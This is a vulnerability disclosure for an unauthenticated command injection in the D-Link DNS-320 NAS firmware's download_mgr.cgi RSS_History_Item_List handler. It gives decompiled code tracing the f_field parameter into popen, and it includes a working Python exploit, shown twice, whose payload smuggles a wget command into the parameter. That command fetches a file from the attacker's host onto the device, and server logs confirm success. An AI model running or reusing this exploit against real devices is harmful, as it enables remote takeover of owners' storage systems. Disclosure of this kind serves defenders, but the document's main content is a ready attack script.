D-Link DNS-320 download_mgr.cgi RSS_History_Item_List function Unauthenticated Command Injection Vulnerability

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
The download_mgr.cgi binary's RSS_History_Item_List
```

Suggested description

```
D-Link DNS-320 download_mgr.cgi RSS_Update function Unauthenticated Command Injection Vulnerability
```

Vulnerability Details

```
Python script command injection
→ GET http://192.168.31.10:80/cgi-bin/download_mgr.cgi,{
        'cmd': 'RSS_History_Item_List',
        'page': '1',
        'rp': '10',
        'f_field': final_payload
    }
    →cgiMain:(dispatcher entry point)
        →sub_FEA4: enter this function (if(cmd == 'RSS_History_Item_List'))
        →sub_FEA4: get parameters from the body by calling
cgiFormStringNoNewlines("f_field", v15, 256)
        →sub_E7E0: concatenate v15 as a command into v17, v15 contains the
malicious command
            →sub_EB14: execute the above v17
                →popen(a1): a1 is the passed v17
```

```
else if ( !strcmp(s, "RSS_History_Item_List") )
{
  sub_FEA4();
}
else if ( !strcmp(s, "RSS_Download_List") )
```

```
size_t sub_FEA4()
{
  int v0; // r4
  int v1; // r0
  int v2; // r4
  int v3; // r0
  double v4; // r0
  time_t v6; // [sp+Ch] [bp-1268h] BYREF
  time_t v7; // [sp+10h] [bp-1264h] BYREF
  char v8[1024]; // [sp+14h] [bp-1260h] BYREF
  char v9[1024]; // [sp+414h] [bp-E60h] BYREF
  char v10[256]; // [sp+814h] [bp-A60h] BYREF
  char v11[32]; // [sp+914h] [bp-960h] BYREF
  char v12[2048]; // [sp+934h] [bp-940h] BYREF
  char v13[4]; // [sp+1134h] [bp-140h] BYREF
  char nptr[4]; // [sp+1138h] [bp-13Ch] BYREF
  char v15[256]; // [sp+113Ch] [bp-138h] BYREF
  FILE *stream; // [sp+123Ch] [bp-38h]
  int v17; // [sp+1240h] [bp-34h]
  int i; // [sp+1244h] [bp-30h]
  int v19; // [sp+1248h] [bp-2Ch]
  int j; // [sp+124Ch] [bp-28h]
  size_t v21; // [sp+1250h] [bp-24h]
  char *src; // [sp+1254h] [bp-20h]
  char *delim; // [sp+1258h] [bp-1Ch]
  struct tm *v24; // [sp+125Ch] [bp-18h]
```

Continuing from the image above

```
  v17 = 0;
  i = 0;
  v19 = 0;
  j = 0;
  v21 = 0;
  delim = ",";
  memset(v11, 0, sizeof(v11));
  memset(v9, 0, sizeof(v9));
  memset(&v12[1024], 0, 0x400u);
  memset(v10, 0, sizeof(v10));
  memset(v8, 0, sizeof(v8));
  cgiFormString("page", nptr, 4);
  cgiFormString("rp", v13, 4);
  cgiFormStringNoNewlines("f_field", v15, 256);
  if ( !access("/tmp/rss_getitemsinfo", 0) )
  {
    sprintf(v10, "rm -f %s", "/tmp/rss_getitemsinfo");
    system(v10);
  }
  sprintf(v10, "rss_perform -k %s -e 1 -i ", v15);
  fwrite("Pragma: no-cache\r\nCache-Control: no-cache\r\n", 1u, 0x2Bu, (FILE *)
  cgiHeaderContentType("text/xml");
  fwrite("<?xml version=\"1.0\" encoding=\"UTF-8\"?>", 1u, 0x26u, (FILE *)cgiOu
  fwrite("<rows>", 1u, 6u, (FILE *)cgiOut);
  time(&v7);
  for ( i = 0; i <= 4; ++i )
  {
    v17 = sub_EB14(v10);
```

```
int __fastcall sub_EB14(const char *a1)
{
  char s[256]; // [sp+8h] [bp-114h] BYREF
  FILE *stream; // [sp+108h] [bp-14h]
  int v6; // [sp+10Ch] [bp-10h]

  v6 = 0;
  memset(s, 0, sizeof(s));
  stream = popen(a1, "r");
  if ( !stream )
    return 0;
  fgets(s, 256, stream);
  LIB_Clean_End_Character(s);
  if ( atoi(s) == 1 )
    v6 = 1;
  pclose(stream);
  return v6;
}
```

```
size_t sub_E7E0()
{
  char v1[1024]; // [sp+0h] [bp-50Ch] BYREF
  char v2[268]; // [sp+400h] [bp-10Ch] BYREF

  memset(v1, 0, sizeof(v1));
  cgiFormStringNoNewlines("f_field", v2, 256);
  if ( !access("/tmp/rss_getchannelinfo", 0) )
  {
    sprintf(v1, "rm -f %s", "/tmp/rss_getchannelinfo");
    system(v1);
  }
  if ( !access("/tmp/rss_getitemsinfo", 0) )
  {
    sprintf(v1, "rm -f %s", "/tmp/rss_getitemsinfo");
    system(v1);
  }
  sprintf(v1, "rss_perform -k %s -s > /dev/null &", v2);
  system(v1);
```

Attack

By exploiting this vulnerability for command execution, running this script allows access to the device's underlying shell.

For example, the image below shows the execution of the wget command to achieve malicious file upload.

```
MY_IP = "192.168.31.215"
MY_PORT = "8000"
FILE_NAME = "hack.txt"

def run_exploit():
    target_url = f"http://{ROUTER_IP}:80/cgi-bin/download_mgr.cgi"

    wget_cmd = f"wget${{IFS}}http://{MY_IP}:{MY_PORT}/{FILE_NAME}${{IFS}}-O${{IFS}}/tmp/{FILE_NAME}"
    final_payload = f"rss;{wget_cmd};"

    params = {
        'cmd': 'RSS_History_Item_List',
        'page': '1',
        'rp': '10',
        'f_field': final_payload
    }

    try:
        requests.get(target_url, params=params, timeout=5)
        print("[+] Exploit sent successfully!")
    except Exception:
        print("[+] Exploit sent (check server logs)!")

if __name__ == "__main__":
    run_exploit()
```

```
::ffff:192.168.31.10 - - [15/Mar/2026 20:22:51] "GET /hack.txt HTTP/1.0" 200
::ffff:192.168.31.10 - - [15/Mar/2026 20:22:52] "GET /hack.txt HTTP/1.0" 200
::ffff:192.168.31.10 - - [15/Mar/2026 20:22:53] "GET /hack.txt HTTP/1.0" 200
::ffff:192.168.31.10 - - [15/Mar/2026 20:22:54] "GET /hack.txt HTTP/1.0" 200
::ffff:192.168.31.10 - - [15/Mar/2026 20:22:55] "GET /hack.txt HTTP/1.0" 200
```

POC

```python
import requests

ROUTER_IP = "192.168.31.10"
MY_IP = "192.168.31.215"
MY_PORT = "8000"
FILE_NAME = "hack.txt"

def run_exploit():
    target_url = f"http://{ROUTER_IP}:80/cgi-bin/download_mgr.cgi"

    wget_cmd = f"wget${{IFS}}http://{MY_IP}:{MY_PORT}/{FILE_NAME}${{IFS}}-
O${{IFS}}/tmp/{FILE_NAME}"
    final_payload = f"rss;{wget_cmd};"

    params = {
        'cmd': 'RSS_History_Item_List',
        'page': '1',
        'rp': '10',
        'f_field': final_payload
    }

    try:
        requests.get(target_url, params=params, timeout=5)
        print("[+] Exploit sent successfully!")
    except Exception:
        print("[+] Exploit sent (check server logs)!")

if __name__ == "__main__":
    run_exploit()
```

Finder

```
ZuZheng Yang
```